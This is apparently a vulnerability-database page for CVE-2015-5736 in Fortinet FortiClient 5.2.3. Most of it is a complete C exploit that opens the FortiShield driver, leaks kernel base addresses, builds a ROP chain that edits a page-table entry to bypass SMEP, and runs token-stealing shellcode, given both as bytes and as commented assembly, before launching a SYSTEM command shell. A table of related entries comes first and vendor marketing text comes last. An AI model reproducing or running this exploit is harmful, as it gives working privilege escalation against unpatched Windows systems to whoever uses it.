| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| Forticlient 5.2.3 Windows 10 x64 (Post Anniversary) - Privilege Escalation Exploit | 25 Mar 201700:00 | – | zdt | |
| Fortinet FortiClient 5.2.3 (Windows 10 x64 Creators) - Local Privilege Escalation Exploit | 6 Aug 201800:00 | – | zdt | |
| Exploit for CVE-2015-5736 | 6 Sep 202513:48 | – | githubexploit | |
| CVE-2015-5736 | 25 Mar 201700:00 | – | circl | |
| Fortinet FortiClient Arbitrary Code Execution Vulnerability | 6 Sep 201500:00 | – | cnvd | |
| CVE-2015-5736 | 3 Sep 201514:00 | – | cve | |
| CVE-2015-5736 | 3 Sep 201514:00 | – | cvelist | |
| EUVD-2015-5682 | 7 Oct 202500:30 | – | euvd | |
| CVE-2015-5736 | 3 Sep 201514:59 | – | nvd | |
| Fortinet FortiClient 5.2.3 Local Privilege Escalation | 5 Aug 201800:00 | – | packetstorm |
/*
Check this out:
- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
Tested on:
- Windows 10 Pro x64 (Pre-Anniversary)
- hal.dll: 10.0.10240.16384
- FortiShield.sys: 5.2.3.633
Thanks to master @ryujin and @ronin for helping out.
*/
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <Psapi.h>
#pragma comment (lib,"psapi")
ULONGLONG get_pxe_address_64(ULONGLONG address) {
ULONGLONG result = address >> 9;
result = result | 0xFFFFF68000000000;
result = result & 0xFFFFF6FFFFFFFFF8;
return result;
}
LPVOID GetBaseAddr(char *drvname) {
LPVOID drivers[1024];
DWORD cbNeeded;
int nDrivers, i = 0;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
char szDrivers[1024];
nDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < nDrivers; i++) {
if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
//printf("%s (%p)\n", szDrivers, drivers[i]);
if (strcmp(szDrivers, drvname) == 0) {
//printf("%s (%p)\n", szDrivers, drivers[i]);
return drivers[i];
}
}
}
}
return 0;
}
DWORD trigger_callback() {
printf("[+] Creating dummy file\n");
system("echo test > test.txt");
printf("[+] Calling MoveFileEx()\n");
BOOL MFEresult;
MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING);
if (MFEresult == 0)
{
printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
return 1;
}
return 0;
}
int main() {
HANDLE forti;
forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (forti == INVALID_HANDLE_VALUE) {
printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
return 1;
}
LPVOID hal_base = GetBaseAddr("hal.dll");
LPVOID fortishield_base = GetBaseAddr("FortiShield.sys");
ULONGLONG va_pte = get_pxe_address_64(0x0000000048000000);
ULONGLONG hal_pivot = (ULONGLONG)hal_base + 0x6bf0;
ULONGLONG fortishield_callback = (ULONGLONG)fortishield_base + 0xd150;
ULONGLONG fortishield_restore = (ULONGLONG)fortishield_base + 0x2f73;
printf("[+] HAL.dll found at: %llx\n", (ULONGLONG)hal_base);
printf("[+] FortiShield.sys found at: %llx\n", (ULONGLONG)fortishield_base);
printf("[+] PTE virtual address at: %llx\n", va_pte);
DWORD IoControlCode = 0x220028;
ULONGLONG InputBuffer = hal_pivot;
DWORD InputBufferLength = 0x8;
ULONGLONG OutputBuffer = 0x0;
DWORD OutputBufferLength = 0x0;
DWORD lpBytesReturned;
HANDLE pid;
pid = GetCurrentProcess();
ULONGLONG allocate_address = 0x0000000047FF016F;
LPVOID allocate_shellcode;
allocate_shellcode = VirtualAlloc((LPVOID*)allocate_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (allocate_shellcode == NULL) {
printf("[!] Error while allocating shellcode: %d\n", GetLastError());
return 1;
}
char *shellcode;
DWORD shellcode_size = 0x12000;
ULONGLONG rop_01 = (ULONGLONG)hal_base + 0x668e; // pop rdx; ret
ULONGLONG rop_02 = 0x0000000000000063; // DIRTY + ACCESSED + R/W + PRESENT
ULONGLONG rop_03 = (ULONGLONG)hal_base + 0x987e; // pop rax; ret
ULONGLONG rop_04 = va_pte;
ULONGLONG rop_05 = (ULONGLONG)hal_base + 0xe2cc; // mov byte ptr [rax], dl; ret
ULONGLONG rop_06 = (ULONGLONG)hal_base + 0x15a50; // wbinvd; ret
ULONGLONG rop_07 = allocate_address + 0x10040;
ULONGLONG rop_08 = fortishield_callback;
ULONGLONG rop_09 = fortishield_restore;
//;kd> dt -r1 nt!_TEB
//; +0x110 SystemReserved1 : [54] Ptr64 Void
//;??????+0x078 KTHREAD (not documented, can't get it from WinDBG directly)
//kd> u nt!PsGetCurrentProcess
//nt!PsGetCurrentProcess:
//mov rax,qword ptr gs:[188h]
//mov rax,qword ptr [rax+0B8h]
// TOKEN STEALING & RESTORE
// start:
// mov rdx, [gs:0x188]
// mov r8, [rdx+0x0b8]
// mov r9, [r8+0x2f0]
// mov rcx, [r9]
// find_system_proc:
// mov rdx, [rcx-0x8]
// cmp rdx, 4
// jz found_it
// mov rcx, [rcx]
// cmp rcx, r9
// jnz find_system_proc
// found_it:
// mov rax, [rcx+0x68]
// and al, 0x0f0
// mov [r8+0x358], rax
// restore:
// mov rbp, qword ptr [rsp+0x80]
// xor rbx, rbx
// mov [rbp], rbx
// mov rbp, qword ptr [rsp+0x88]
// mov rax, rsi
// mov rsp, rax
// sub rsp, 0x20
// jmp rbp
char token_steal[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x82\xB8"
"\x00\x00\x00\x4D\x8B\x88\xF0\x02\x00\x00\x49\x8B\x09"
"\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x08\x48\x8B\x09"
"\x4C\x39\xC9\x75\xEE\x48\x8B\x41\x68\x24\xF0\x49\x89"
"\x80\x58\x03\x00\x00\x48\x8B\xAC\x24\x80\x00\x00\x00"
"\x48\x31\xDB\x48\x89\x5D\x00\x48\x8B\xAC\x24\x88\x00"
"\x00\x00\x48\x89\xF0\x48\x89\xC4\x48\x83\xEC\x20\xFF\xE5";
shellcode = (char *)malloc(shellcode_size);
memset(shellcode, 0x41, shellcode_size);
memcpy(shellcode + 0x10008, &rop_01, 0x08);
memcpy(shellcode + 0x10010, &rop_02, 0x08);
memcpy(shellcode + 0x10018, &rop_03, 0x08);
memcpy(shellcode + 0x10020, &rop_04, 0x08);
memcpy(shellcode + 0x10028, &rop_05, 0x08);
memcpy(shellcode + 0x10030, &rop_06, 0x08);
memcpy(shellcode + 0x10038, &rop_07, 0x08);
memcpy(shellcode + 0x10040, token_steal, sizeof(token_steal));
memcpy(shellcode + 0x100C0, &rop_08, 0x08);
memcpy(shellcode + 0x100C8, &rop_09, 0x08);
BOOL WPMresult;
SIZE_T written;
WPMresult = WriteProcessMemory(pid, (LPVOID)allocate_address, shellcode, shellcode_size, &written);
if (WPMresult == 0)
{
printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
return 1;
}
HANDLE hThread;
LPDWORD hThread_id = 0;
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, 0, hThread_id);
if (hThread == NULL)
{
printf("[!] Error while calling CreateThread: %d\n", GetLastError());
return 1;
}
BOOL hThread_priority;
hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
if (hThread_priority == 0)
{
printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
return 1;
}
BOOL triggerIOCTL;
triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
WaitForSingleObject(hThread, INFINITE);
system("start cmd.exe");
return 0;
}
# 0day.today [2018-01-02] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation